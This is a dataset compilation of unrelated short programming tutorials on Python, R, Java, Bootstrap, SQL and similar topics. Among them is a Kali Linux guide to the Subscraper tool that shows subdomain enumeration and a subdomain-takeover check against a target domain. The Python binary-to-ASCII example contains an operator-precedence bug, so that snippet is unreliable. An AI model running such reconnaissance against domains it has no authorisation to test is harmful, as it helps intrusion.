code-rag-bench/online-tutorials huggingface dataset:
Python program to convert binary to ASCII

31 Aug, 2021
In this article, we are going to see the conversion of Binary to ASCII in the Python programming language. There are multiple approaches by which this conversion can be performed that are illustrated below:
Binascii helps convert between binary and various ASCII-encoded binary representations.
b2a_uu() function: Here the “uu” stands for “UNIX-to-UNIX encoding” which takes care of the data conversion from strings to binary and ASCII values according to the specified program.
The b2a_uu() function is used to convert the specified binary string to its corresponding ASCII equivalent.
Syntax: b2a_uu(Text)
Parameter: This function accepts a single parameter which is illustrated below:
Text: This is the specified binary string that is going to be converted into its ASCII equivalent.
Return Values: This function returns the ASCII equivalent.
Python3
# Python program to illustrate the# conversion of Binary to ASCII  # Importing binascii moduleimport binascii  # Initializing a binary stringText = b"GFG is a CS Portal"  # Calling the b2a_uu() function to# Convert the binary string to asciiAscii = binascii.b2a_uu(Text)  # Getting the ASCII equivalentprint(Ascii)
Output:
b"21T9'(&ES(&$@0U,@4&]R=&%L\n"
Here we will use a built-in type to convert binary to ASCII value.
Firstly, call int(binary_sting, base) with the base as 2 indicating the binary string. and then call int.to_bytes(byte_number, byte_order) function, where byte_order is taken as “big” and byte_number is taken as the number of bytes that binary_int occupies to return an array of bytes. This byte_number can be found using the operation binary_int.bit_length() + 7 // 8. And then call array.decode operation to turn the array into ASCII text.
Python3
# Python program to illustrate the# conversion of Binary to ASCII  # Initializing a binary string in the form of# 0 and 1, with base of 2binary_int = int("11000010110001001100011", 2);  # Getting the byte numberbyte_number = binary_int.bit_length() + 7 // 8  # Getting an array of bytesbinary_array = binary_int.to_bytes(byte_number, "big")  # Converting the array into ASCII textascii_text = binary_array.decode()  # Getting the ASCII valueprint(ascii_text)
Output:
abc
Picked
Python string-programs
Python
Python Programs
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Tryit Editor v3.6 - Show Python

#if this page is executed with no errors, you have the "pymongo" module installed.
string.upper() function in Lua programming

There are certain scenarios in our code that when we are working with the strings, we might want some string to be in uppercase, like consider a very basic and yet famous example of such scenario, the PAN number.
Imagine that you are making a web form in which there’s a field for the PAN number of the user, and since you know that PAN number can’t be in lowercases, we need to take the user input of that field and convert the string into its uppercase.
Converting a string to its uppercase in Lua is done by the string.upper() function.
string.upper(s)
In the above syntax, the identifier s denotes the string which we are trying to convert into its uppercase.
Let’s consider a very simple example of the same, where we will convert a string literal into its uppercase.
Consider the example shown below −
 Live Demo
s = string.upper("abc")
print(s)
ABC
An important point to note about the string.upper() function is that it doesn’t modify the original string, it just does the modification to a copy of it and returns that copy. Let’s explore this particular case with the help of an example.
Consider the example shown below −
 Live Demo
s = "abc"
s1 = string.upper("abc")
print(s)
print(s1)
abc
ABC
Also, if a string is already in its uppercase form then nothing will change.
Consider the example shown below −
 Live Demo
s = "A"
string.upper("A")
print(s)
A
Can we overload a method based on different  return type but same argument type and number, in java?

When a class has two or more methods by the same name but different parameters, at the time of calling based on the parameters passed respective method is called (or respective method body will be bonded with the calling line dynamically). This mechanism is known as method overloading.
class Test{
   public int division(int a, int b){
      int result = a/b;
      return result;
   }
   public double division (float a, float b){
      double result = a/b;
      return result;
   }
}
No, you cannot overload a method based on different return type but same argument type and number in java.
In overloading it is must that the both methods have −
same name.
different parameters (different type or, different number or both).
The return type doesn’t matter. If they don’t have different parameters, they both are still considered as same method and a compile time error will be generated.
In the following example we are trying to overload two methods: They have same name (division) same parameters (two integers).
class Test{
   public int division(int a, int b){
      int result = a/b;
      return result;
   }
   public double division (int a, int b){
      double result = a/b;
      return result;
   }
}
If you try to compile the above program, since the parameters are not different Java compiler considers them as same methods and generates the following error.
OverloadingExample.java:6: error: method division(int,int) is already defined in class Test
public static double division (int a, int b){
                     ^
1 error
How to count the number of occurrences of all unique values in an R data frame?

A data frame in R can have infinite number of unique values and it can also contain many repeated values. Therefore, finding the number of all unique values in the data frame can help us to understand the diversity in the data but this most done in situations where we expect to have repeated elements otherwise it would not make sense. To count the number of occurrences of all unique values, we can use table function along with the unlist as shown in the below examples.
Consider the below data frame −
 Live Demo
x1<-sample(LETTERS[1:5],20,replace=TRUE)
x2<-sample(LETTERS[1:5],20,replace=TRUE)
x3<-sample(LETTERS[1:5],20,replace=TRUE)
x4<-sample(LETTERS[1:5],20,replace=TRUE)
x5<-sample(LETTERS[1:5],20,replace=TRUE)
df1<-data.frame(x1,x2,x3,x4,x5)
df1
  x1 x2 x3 x4 x5
1  B  E  D  E  E
2  E  A  C  E  E
3  C  A  D  A  D
4  C  C  A  D  C
5  D  D  A  C  B
6  C  C  E  E  B
7  B  B  C  B  A
8  A  E  B  C  B
9  E  D  E  B  E
10 C  B  A  C  A
11 C  C  C  B  D
12 A  B  C  A  A
13 C  D  D  C  C
14 E  C  E  D  C
15 A  A  B  D  E
16 E  D  E  A  E
17 C  C  A  D  E
18 C  C  E  C  D
19 B  B  A  E  B
20 D  B  D  A  B
Finding the number of unique values in the data frame df1 −
table(unlist(df1))
A   B  C  D  E 
18 27 22 17 16
Let’s have a look at another example −
 Live Demo
y1<-sample(0:2,20,replace=TRUE)
y2<-sample(0:2,20,replace=TRUE)
y3<-sample(0:2,20,replace=TRUE)
y4<-sample(0:2,20,replace=TRUE)
df2<-data.frame(y1,y2,y3,y4)
df2
  y1 y2 y3 y4
1  0  2  1  2
2  0  0  1  1
3  1  1  2  1
4  2  2  0  0
5  1  0  2  1
6  0  2  2  0
7  0  0  1  1
8  0  2  0  1
9  2  2  2  2
10 1  0  2  0
11 0  1  1  2
12 2  2  2  1
13 0  1  1  0
14 2  2  1  2
15 2  2  0  0
16 2  2  1  1
17 1  2  2  2
18 2  1  0  2
19 1  0  2  0
20 1  2  0  2
Finding the number of unique values in the data frame df2 −
table(unlist(df2))
 0  1  2
32 26 22
CSS Pseudo-classes

A pseudo-class is used to define a special state 
of an element.
For example, it can be used to:
Style an element when a user mouses over it
Style visited and unvisited links differently
Style an element when it gets focus
Mouse Over Me
The syntax of pseudo-classes:
Links can be displayed in different ways:
Note: a:hover MUST come after a:link and 
a:visited in the CSS definition in order to be effective! a:active MUST come after 
a:hover in the CSS definition in order to be effective!
Pseudo-class names are not case-sensitive.
Pseudo-classes can be combined with HTML classes:
When you hover over the link in the example, it will change color:
An example of using the :hover pseudo-class on a <div> element:
Hover over a <div> element to show a <p> element (like a tooltip):
Tada! Here I am!
The :first-child pseudo-class matches a specified element that is the first child of another element.
In the following example, the selector matches any <p> element that is the first child of any element:
In the following example, the selector matches the first <i> element in all <p> elements:
In the following example, the selector matches all <i> elements in <p> elements that are the first child of another element:
The :lang pseudo-class allows you to define special rules for different languages.
In the example below, :lang defines the quotation marks for <q> elements with lang="no":
Add different styles to hyperlinks
This example demonstrates how to add other styles to hyperlinks.
Use of :focus
This example demonstrates how to use the :focus pseudo-class.
Set the background-color to red, when you mouse over a link.
<style>
 {
  background-color: red;
}
</style>

<body>

<h1>This is a header.</h1>
<p>This is a paragraph.</p>
<a href="https://w3schools.com">This is a link.</a>

</body>

Start the Exercise
We just launchedW3Schools videos
Get certifiedby completinga course today!
If you want to report an error, or if you want to make a suggestion, do not hesitate to send us an e-mail:
help@w3schools.com
Your message has been sent to W3Schools.
Bootstrap radio class

Use radio class if you want to limit the user to just one selection. Use .radio-inline class to a series of radios for controls appears on the same line.
You can try to run the following code to implement the Bootstrap radio class &mminus;
Live Demo
<!DOCTYPE html>
<html>
   <head>
      <title>Bootstrap Forms</title>
      <meta name = "viewport" content = "width=device-width, initial-scale = 1">
      <link rel = "stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css">
      <script src = "https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
      <script src = "https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
   </head>
   <body>
      <label for = "name"></label>Favourite Sports</label>
      <div class = "radio">
         <label>
            <input type = "radio" name = "optionsRadios" id = "optionsRadios1" value = "option1" checked> Cricket
         </label>
      </div>
      <div class = "radio">
         <label>
            <input type = "radio" name = "optionsRadios" id = "optionsRadios2" value = "option2">
               Football
         </label>
      </div>
   </body>
</html>
Python | Convert set into a list - GeeksforGeeks

22 Jul, 2019
Given a set, write a Python program to convert the given set into list.
Examples:
Input : {1, 2, 3, 4}
Output : [1, 2, 3, 4]

Input : {'Geeks', 'for', 'geeks'}
Output : ['Geeks', 'for', 'geeks']

 Approach #1 : Using list(set_name).
Typecasting to list can be done by simply using list(set_name).
# Python3 program to convert a # set into a listmy_set = {'Geeks', 'for', 'geeks'}  s = list(my_set)print(s)
['Geeks', 'for', 'geeks']

 
# Python3 program to convert a # set into a listdef convert(set):    return list(set)  # Driver functions = set({1, 2, 3})print(convert(s))
[1, 2, 3]

 Approach #2 : using sorted() method
Using sorted() function will convert the set into list in a defined order. The only drawback of this method is that the elements of the set need to be sortable.
# Python3 program to convert a # set into a listdef convert(set):    return sorted(set)  # Driver functionmy_set = {1, 2, 3}  s = set(my_set)print(convert(s))
[1, 2, 3]

 Approach #3 : Using [*set, ]This essentially unpacks the set s inside a list literal which is created due to the presence of the single comma (, ). This approach is a bit faster but suffers from readability.
# Python3 program to convert a # set into a listdef convert(set):    return [*set, ]  # Driver functions = set({1, 2, 3})print(convert(s))
[1, 2, 3]

ManasChhabra2
Python list-programs
Python set-programs
Python
Python Programs
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
Read a file line by line in Python
Enumerate() in Python
How to Install PIP on Windows ?
Different ways to create Pandas Dataframe
Python String | replace()
Defaultdict in Python
Python | Get dictionary keys as a list
Python | Split string into list of characters
Python program to check whether a number is Prime or not
Python | Convert a list to dictionary
C++ Program to Implement Circular Singly Linked List

Circular singly linked list is a type of data structure that is made up of nodes that are created using self referential structures. Each of these nodes contain two parts, namely the data and the reference to the next list node.
Only the reference to the first list node is required to access the whole linked list. This is known as the head. The last node in the list points to head or first node of the list. That is the reason this is known as a circular linked list.
A program to implement circular singly linked list is given as follows.
 Live Demo
#include <iostream>
using namespace std;
struct Node {
   int data;
   struct Node *next;
};
struct Node* head = NULL;
void insert(int newdata) {
   struct Node *newnode = (struct Node *)malloc(sizeof(struct Node));
   struct Node *ptr = head;
   newnode->data = newdata;
   newnode->next = head;
   if (head!= NULL) {
      while (ptr->next != head)
      ptr = ptr->next;
      ptr->next = newnode;
   } else
   newnode->next = newnode;
   head = newnode;
}
void display() {
   struct Node* ptr;
   ptr = head;
   do {
      cout<<ptr->data <<" ";
      ptr = ptr->next;
   } while(ptr != head);
}
int main() {
   insert(3);
   insert(1);
   insert(7);
   insert(2);
   insert(9);
   cout<<"The circular linked list is: ";
   display();
   return 0;
}
The circular linked list is: 9 2 7 1 3
In the above program, the structure Node forms the linked list node. It contains the data and a pointer to the next linked list node. This is given as follows.
struct Node {
   int data;
   struct Node *next;
};
The function insert() inserts the data into the beginning of the linked list. It creates a newnode and inserts the number in the data field of the newnode. If the head is NULL, then newnode points to itself otherwise the last node in the circular linked list points to newnode. Then the head points to the start of the list i.e. to the newnode. This is given below.
void insert(int newdata) {
   struct Node *newnode = (struct Node *)malloc(sizeof(struct Node));
   struct Node *ptr = head;
   newnode->data = newdata;
   newnode->next = head;
   if (head!= NULL) {
      while (ptr->next != head)
      ptr = ptr->next;
      ptr->next = newnode;
   } else
   newnode->next = newnode;
   head = newnode;
}
The function display() displays the whole linked list. First ptr points to head. Then it is continuously forwarded to the next node until all the data values of the nodes are printed. This is given below.
void display() {
   struct Node* ptr;
   ptr = head;
   do {
      cout<< ptr->data <<" ";
      ptr = ptr->next;
   } while(ptr != head);
}
In the function main(), first various values are inserted into the circular linked list by calling insert(). Then the linked list is displayed. This is given below.
int main() {
   insert(3);
   insert(1);
   insert(7);
   insert(2);
   insert(9);
   cout<<"The circular linked list is: ";
   display();
   return 0;
}
Set large modal in Bootstrap

Use the .modal-lg class in Bootstrap to set large modal with more width.
You can try to run the following code to set large modal;
Live Demo
<!DOCTYPE html>
<html>
   <head>
      <title>Bootstrap Example</title>
      <link rel = "stylesheet" href = "https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
      <script src = "https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
      <script src = "https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
   </head>
   <body>
      <div class = "container">
         <h2>Examination</h2>
         <button type = "button" class = "btn btn-lg" data-toggle = "modal" data-target="#new">Result</button>
         <div class = "modal fade" id = "new" role = "dialog">
            <div class = "modal-dialog modal-lg">
               <div class = "modal-content">
                  <div class = "modal-header">      
                     <button type = "button" class="close" data-dismiss = "modal">×</button>
                     <h4 class = "modal-title">Warning</h4>
                  </div>
                  <div class = "modal-body">
                     <p>If JavaScript isn't enabled in your web browser, then you may not be able to see the result.</p>
                  </div>
                  <div class = "modal-footer">
                     <button type = "button" class = "btn btn-primary" data-dismiss = "modal">Close</button>
                  </div>
               </div>
            </div>
         </div>
      </div>
   </body>
</html>
Loading External Libraries in SAP UI5

External libraries can be inserted using a file in a normal script tag. SAP UI5 also supports JQuery so it can be done by extending your heading from the controller.
var s = document.createElement("script");
s.type = "text/javascript";
s.src = "http://domainname.com/somescript";
$("head").append(s);
You can also add any external file using the following command −
jQuery.sap.registerModulePath("ModuleName","http://Domainname.com");
jQuery.sap.require("ModuleName.jsFileName");
You can navigate to the following path for more details−
https://blogs.sap.com/2016/04/22/include-external-javascript-library-in-sapui5/
How to calculate the length of the string using C#?

Use the String.Length property in C# to get the length of the string.
str.Length
The property calculates the words in the string and displays the length of the specified string, for example, the string Amit has 4 characters −
string str = "Amit";
The following is the C# program to calculate the string length −
 Live Demo
using System;
using System.Collections;

namespace Demo {

   class Program {

      static void Main(string[] args) {

         string str = "Amit";

         Console.WriteLine("String: "+str);
         Console.WriteLine("String Length: "+str.Length);
         Console.ReadKey();
      }
   }
}
String: Amit
String Length: 4
Assigning multiple characters in an int in C language

The character type data is stored by its ASCII value internally in C or C++. If we want to print a single character as integer, we will get the ASCII value. But when we are trying to print more than one character using a single quote, then it will print some strange output.
Please check the following program to get the idea.
#include <stdio.h>
int main() {
   printf("%d\n", 'A');
   printf("%d\n", 'AA');
   printf("%d\n", 'ABC');
}
65
16705
4276803
The ASCII of A is 65. So at first it is showing 65 (01000001). Now for AA, it is showing 16705. This is ASCII of 6565 (01000001 01000001) = 16705. For third the value is ABC (01000001 01000010 01000011) = 4276803.
How to convert milliseconds to date format in Android?

This example demonstrates how do I convert milliseconds to date format in android.
Step 1 − Create a new project in Android Studio, go to File ⇒ New Project and fill all required details to create a new project.
Step 2 − Add the following code to res/layout/activity_main.xml.
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
   xmlns:tools="http://schemas.android.com/tools"
   android:layout_width="match_parent"
   android:layout_height="match_parent"
   android:orientation="vertical"
   android:padding="4dp"
   tools:context=".MainActivity">
   <TextView
      android:textStyle="bold"
      android:textSize="24sp"
      android:id="@+id/textView"
      android:layout_width="match_parent"
      android:layout_height="wrap_content"/>
</LinearLayout>
Step 3 − Add the following code to src/MainActivity.java
import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
import android.widget.TextView;
import java.text.SimpleDateFormat;
public class MainActivity extends AppCompatActivity {
   TextView textView;
   @Override
   protected void onCreate(Bundle savedInstanceState) {
      super.onCreate(savedInstanceState);
      setContentView(R.layout.activity_main);
      textView = findViewById(R.id.textView);
      getDate();
   }
   private void getDate() {
      SimpleDateFormat simpleDateFormat = new SimpleDateFormat("dd/MM/yyyy");
      String dateString = simpleDateFormat.format(9897546853323L);
      textView.setText(String.format("Date: %s", dateString));
   }
}
Step 4 − Add the following code to androidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="app.com.sample">
   <application
      android:allowBackup="true"
      android:icon="@mipmap/ic_launcher"
      android:label="@string/app_name"
      android:roundIcon="@mipmap/ic_launcher_round"
      android:supportsRtl="true"
      android:theme="@style/AppTheme">
      <activity android:name=".MainActivity">
         <intent-filter>
            <action android:name="android.intent.action.MAIN" />
            <category android:name="android.intent.category.LAUNCHER" />
         </intent-filter>
      </activity>
   </application>
</manifest>
Let's try to run your application. I assume you have connected your actual Android Mobile device with your computer. To run the app from the android studio, open one of your project's activity files and click Run  icon from the toolbar. Select your mobile device as an option and then check your mobile device which will display your default screen −
Click here to download the project code.
Differentiate between Partial Dependency and Fully Functional Dependency - GeeksforGeeks

24 Dec, 2021
Fully Functional Dependency :If X and Y are an attribute set of a relation, Y is fully functional dependent on X, if Y is functionally dependent on X but not on any proper subset of X.Example  –In the relation ABC->D, attribute D is fully functionally dependent on ABC  and not on any proper subset of ABC. That means that subsets of ABC like AB, BC, A, B, etc cannot determine D.Let us take another example – 
Supply table 
From the table, we can clearly see that neither supplier_id  nor item_id can uniquely determine the price but both supplier_id and item_id together can do so. So we can say that price is fully functionally dependent on { supplier_id, item_id }. This summarizes and gives our fully functional dependency −
{ supplier_id , item_id } -> price
Partial Functional Dependency :A functional dependency X->Y is a partial dependency if Y is functionally dependent on X and Y can be determined by any proper subset of X.For example, we have a relationship  AC->B, A->D, and D->B. Now if we compute the closure of {A+}=ADB Here A is alone capable of determining B, which means B is partially dependent on AC.Let us take another example –
Student table
Here, we can see that both the attributes name and roll_no alone are able to uniquely identify a course. Hence we can say that the relationship is partially dependent.
Full Functional Dependency 
Partial Functional Dependency
smithdashdash
Picked
DBMS
GATE CS
DBMS
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Types of Functional dependencies in DBMS
Introduction of Relational Algebra in DBMS
What is Temporary Table in SQL?
Two Phase Locking Protocol
KDD Process in Data Mining
Layers of OSI Model
TCP/IP Model
Page Replacement Algorithms in Operating Systems
Types of Operating Systems
Differences between TCP and UDP
Python | Pandas Series.mask() - GeeksforGeeks

11 Feb, 2019
Pandas series is a One-dimensional ndarray with axis labels. The labels need not be unique but must be a hashable type. The object supports both integer- and label-based indexing and provides a host of methods for performing operations involving the index.
Pandas Series.mask() function is used for masking purpose. This function replace values where the passed condition is True. Otherwise the value remains same.
Syntax: Series.mask(cond, other=nan, inplace=False, axis=None, level=None, errors=’raise’, try_cast=False, raise_on_error=None)
Parameter :cond : Where cond is False, keep the original value. Where True, replace with corresponding value from other.other : Entries where cond is True are replaced with corresponding value from other.inplace : Whether to perform the operation in place on the data.axis : Alignment axis if needed.level : Alignment level if needed.
Returns : wh : same type as caller
Example #1: Use Series.mask() function to replace the ‘Rio’ city in the given series object.
# importing pandas as pdimport pandas as pd  # Creating the Seriessr = pd.Series(['New York', 'Chicago', 'Toronto', 'Lisbon', 'Rio'])  # Create the Indexindex_ = ['City 1', 'City 2', 'City 3', 'City 4', 'City 5']   # set the indexsr.index = index_  # Print the seriesprint(sr)
Output :
Now we will use Series.mask() function to replace the ‘Rio’ city in the given series object.
# replace 'Rio' with 'Tokyo'result = sr.mask(lambda x : x =='Rio', other = 'Tokyo')  # Print the resultprint(result)
Output :
As we can see in the output, the Series.mask() function has successfully replaced the ‘Rio’ city with ‘Tokyo’ in the given series object. Example #2: Use Series.mask() function to mask all the values in the given series object which are greater than 50.
# importing pandas as pdimport pandas as pd  # Creating the Seriessr = pd.Series([11, 21, 8, 18, 65, 84, 32, 10, 5, 24, 32])  # Print the seriesprint(sr)
Output :
Now we will use Series.mask() function to mask all the values greater than 50 in the given series object.
# mask values greater than 50result = sr.mask(sr > 50)  # Print the resultprint(result)
Output :As we can see in the output, the Series.mask() function has successfully masked all the values greater than 50 in the given series object.
Python pandas-series
Python pandas-series-methods
Python-pandas
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
Box Plot in Python using Matplotlib
Python | Get dictionary keys as a list
Bar Plot in Matplotlib
Multithreading in Python | Set 2 (Synchronization)
Python Dictionary keys() method
loops in python
Python - Call function from another file
Ways to filter Pandas DataFrame by column values
Python | Convert set into a list
Python program to find number of days between two given dates
Count distinct entries in SAP BusinessObjects

Your requirement is not clear but I think you should use AND operator and count on this in the third column. Your formula should be like this
=([First_Seen] = 1) and ([Authorized] = 1)
Consuming Graphical calculation view via SDA
How to remove single quote from string column in an R data frame?

Sometimes column values in an R data frame have single quote associated with them and to perform the analysis we need to remove that quote. Therefore, to remove single quote from string column, we can use gsub function by defining the single quote and replacing it with blank(not space) as shown in the below examples.
Consider the below data frame −
 Live Demo
x1<-sample(c("India'","Sudan'","Croatia'"),20,replace=TRUE)
x2<-rpois(20,5)
df1<-data.frame(x1,x2)
df1
   x1      x2
1  India'   6
2  Sudan'   3
3  Croatia' 9
4  Croatia' 3
5  Sudan'   4
6  Croatia' 4
7  India'   4
8  Croatia' 6
9  India'   4
10 Croatia' 7
11 Sudan'   8
12 India'   3
13 Croatia' 4
14 Sudan'   6
15 Sudan'   3
16 India'   11
17 Croatia' 8
18 Sudan'   6
19 Sudan'   10
20 Sudan'   5
Removing ' from column x1 in df1 −
df1$x1<-gsub("'","",df1$x1)
df1
    x1   x2
1  India   6
2  Sudan   3
3  Croatia 9
4  Croatia 3
5  Sudan   4
6  Croatia 4
7  India   4
8  Croatia 6
9  India   4
10 Croatia 7
11 Sudan   8
12 India   3
13 Croatia 4
14 Sudan   6
15 Sudan   3
16 India   11
17 Croatia 8
18 Sudan   6
19 Sudan   10
20 Sudan   5
 Live Demo
y1<-sample(c("'A'","'B'","'C'"),20,replace=TRUE)
y2<-rnorm(20,1)
df2<-data.frame(y1,y2)
df2
    y1    y2
1  'B'    0.49282668
2  'B'   -0.90061585
3  'B'    0.89346759
4  'A'    1.96469552
5  'A'    1.21931750
6  'A'    0.32022463
7  'A'    0.97912117
8  'B'    1.38781374
9  'C'   -0.69066318
10 'B'    1.45014864
11 'C'    1.61876980
12 'C'    1.69046763
13 'C'   -0.08073507
14 'B'    1.73212908
15 'C'    0.85473489
16 'B'   -0.24975030
17 'A'    0.40313471
18 'B'    0.60537047
19 'B'    0.30200882
20 'C'    2.29497113
Removing ' from column y1 in df2 −
df2$y1<-gsub("'","",df2$y1)
df2
   y1     y2
1  B     0.49282668
2  B    -0.90061585
3  B     0.89346759
4  A     1.96469552
5  A     1.21931750
6  A     0.32022463
7  A     0.97912117
8  B     1.38781374
9  C    -0.69066318
10 B     1.45014864
11 C     1.61876980
12 C     1.69046763
13 C    -0.08073507
14 B     1.73212908
15 C     0.85473489
16 B    -0.24975030
17 A     0.40313471
18 B     0.60537047
19 B     0.30200882
20 C     2.29497113
Formatting a Negative Number Output with Parentheses in Java

A negative number output can be shown using the Formatter object −
Formatter f = new Formatter();
f.format("%12.2f", -7.598);
System.out.println(f);
Try the below given code to format a Negative Number Output with Parentheses −
Formatter f = new Formatter();
f.format("%(d", -50);
System.out.println(f);
The following is an example −
 Live Demo
import java.util.Formatter;
public class Demo {
   public static void main(String args[]) {
      Formatter f = new Formatter();
      f.format("% d", 50);
      System.out.println(f);
      // negative number inside parentheses
      f = new Formatter();
      f.format("%(d", -50);
      System.out.println(f);
   }
}
50
(50)
What is the usage of “@” symbol in MySQL stored procedure?

The @ symbol in a stored procedure can be used for user-defined session variables. Let us first create a table −
mysql> create table DemoTable
(
   StudentName varchar(50)
);
Query OK, 0 rows affected (1.30 sec)
Insert some records in the table using insert command −
mysql> insert into DemoTable values('John Smith');
Query OK, 1 row affected (1.00 sec)
mysql> insert into DemoTable values('John Doe');
Query OK, 1 row affected (0.19 sec)
mysql> insert into DemoTable values('Chris Brown');
Query OK, 1 row affected (0.53 sec)
Display all records from the table using select statement −
mysql> select *from DemoTable;
This will produce the following output −
+-------------+
| StudentName |
+-------------+
| John Smith  |
| John Doe    |
| Chris Brown |
+-------------+
3 rows in set (0.00 sec)
Let us now create a stored procedure to calculate the number of records from DemoTable −
mysql> DELIMITER //
mysql> create procedure `Demo_Of_@Symbol`()
   BEGIN
   select count(*) into @numberOfRecords from DemoTable;
   END
//
Query OK, 0 rows affected (0.33 sec)
mysql> DELIMITER ;
Following is the query to call the stored procedure using CALL command −
mysql> call `Demo_Of_@Symbol`();
Query OK, 1 row affected (0.00 sec)
Let us now see the usage of the @symbol −
mysql> select @numberOfRecords;
This will produce the following output −
+------------------+
| @numberOfRecords |
+------------------+
|                3 |
+------------------+
1 row in set (0.00 sec)
Subscraper – Subdomain enumeration tool in Kali Linux

28 Jul, 2021
Subscraper is a free and open-source tool available on GitHub. Subscraper is used for reconnaissance of subdomains. subscraper is used for finding the subdomain of the target website. This tool is used to find subdomains from a website/web application. Usually, what happens is that it become very difficult for a security researcher to find subdomains from an HTTPS website or web application. This tool helps to get subdomains of all HTTPS as well as HTTP websites.  subscraper tool is written in Python you must have python installed into your Kali Linux in order to use this tool. This tool comes with an awesome user interface. The user interface of the tool is very similar to Metasploitable 1 and metasploitable 2 which makes it very easy to run and use.
Subscraper is a free and open-source tool available on GitHub.
Subscraper tool is used for reconnaissance of subdomains of websites/web applications.
Subscraper tool is used for information gathering.
Subscraper tool is used to find subdomains of the target.
Step 1: First you have to install the tool using the following command in your kali Linux operating system. Then you have to move to the directory of the tool.
git clone https://github.com/m8r0wn/subscraper
cd subscraper
Step 2: The tool has been downloaded successfully now you have to install the tool using the following command.
python3 setup.py install
 The tool has been installed successfully in your system now we will see some examples to use the tool.
Example 1: Use subscraper tool to find the subdomain of a website.
subscraper <domain >
once the scanning is completed, use the following command to perform Subdomain Takeover.
subscraper --takeover subscraper_report.txt
Now to view the report use the following command.
ls
nano subscraper_report.txt
This is the subdomain takeover report of the tool. You can see that we have found all the subdomains of domain geeksforgeeks.org. Similarly, you can find all the subdomains of any domain. This tool helps security researchers in the initial phases of reconnaissance and security scanning of the website and web applications. 
Example 2: Use subscraper tool to find the subdomain of a website by changing the enumeration level of scanning.
subscraper -e 3 <domain>
Kali-Linux
linux
Linux-Tools
Linux-Unix
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Ruby | String reverse Method

08 Jan, 2020
reverse is a String class method in Ruby which is used to return a new string with the characters from the given string in reverse order.
Syntax: str.reverse
Parameters: Here, str is the string which is to be reversed.
Returns: This method returns a new string in reversed order.
Example 1:
# Ruby program to demonstrate# the reverse method   # Taking a string and# using the methodputs "GeeksforGeeks".reverseputs "Ruby".reverse
Output:
skeeGrofskeeG
ybuR

Example 2:
# Ruby program to demonstrate# the reverse method   # Taking a string and# using the methodputs "String".reverseputs "Class".reverse
Output:
gnirtS
ssalC

Ruby String-class
Ruby-Methods
Ruby
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Generate all permutation of a set in Python

21 Jan, 2022
Permutation is an arrangement of objects in a specific order. Order of arrangement of object is very important. The number of permutations on a set of n elements is given by  n!.  For example, there are 2! = 2*1 = 2 permutations of {1, 2}, namely {1, 2} and {2, 1}, and 3! = 3*2*1 = 6 permutations of {1, 2, 3}, namely {1, 2, 3}, {1, 3, 2}, {2, 1, 3}, {2, 3, 1}, {3, 1, 2} and {3, 2, 1}. 
Method 1 (Backtracking) We can use the backtracking based recursive solution discussed here.Method 2 The idea is to one by one extract all elements, place them at first position and recur for remaining list. 
Python3
# Python function to print permutations of a given listdef permutation(lst):     # If lst is empty then there are no permutations    if len(lst) == 0:        return []     # If there is only one element in lst then, only    # one permutation is possible    if len(lst) == 1:        return [lst]     # Find the permutations for lst if there are    # more than 1 characters     l = [] # empty list that will store current permutation     # Iterate the input(lst) and calculate the permutation    for i in range(len(lst)):       m = lst[i]        # Extract lst[i] or m from the list.  remLst is       # remaining list       remLst = lst[:i] + lst[i+1:]        # Generating all permutations where m is first       # element       for p in permutation(remLst):           l.append([m] + p)    return l  # Driver program to test above functiondata = list('123')for p in permutation(data):    print (p)
Output:
['1', '2', '3']
['1', '3', '2']
['2', '1', '3']
['2', '3', '1']
['3', '1', '2']
['3', '2', '1']
Method 3 (Direct Function) We can do it by simply using the built-in permutation function in itertools library. It is the shortest technique to find the permutation. 
Python3
from itertools import permutationsl = list(permutations(range(1, 4)))print(l)
Output:
[(1, 2, 3), (1, 3, 2), (2, 1, 3), (2, 3, 1), (3, 1, 2), (3, 2, 1)] 
This article is contributed by Arpit Agarwal. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above 
anikaseth98
amartyaghoshgfg
permutation
Algorithms
Mathematical
Python
Mathematical
permutation
Algorithms
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python – Convert List of Dictionaries to List of Lists

14 May, 2020
Sometimes, while working with Python data, we can have problem in which we need to convert the list of dictionaries into list of lists, this can be simplified by appending the keys just once if they are repetitive as mostly in records, this saves memory space. This type of problem can have applications in web development domain. Let’s discuss certain ways in which this task can be performed.
Input : test_list = [{‘Gfg’: 123, ‘best’: 10}, {‘Gfg’: 51, ‘best’: 7}]Output : [[‘Gfg’, ‘best’], [123, 10], [51, 7]]
Input : test_list = [{‘Gfg’ : 12}]Output : [[‘Gfg’], [12]]
Method #1 : Using loop + enumerate()The combination of above methods can be used to perform this task. In this, we perform the task of iterating using loop and brute force with help of enumerate() to perform appropriate append in result list.
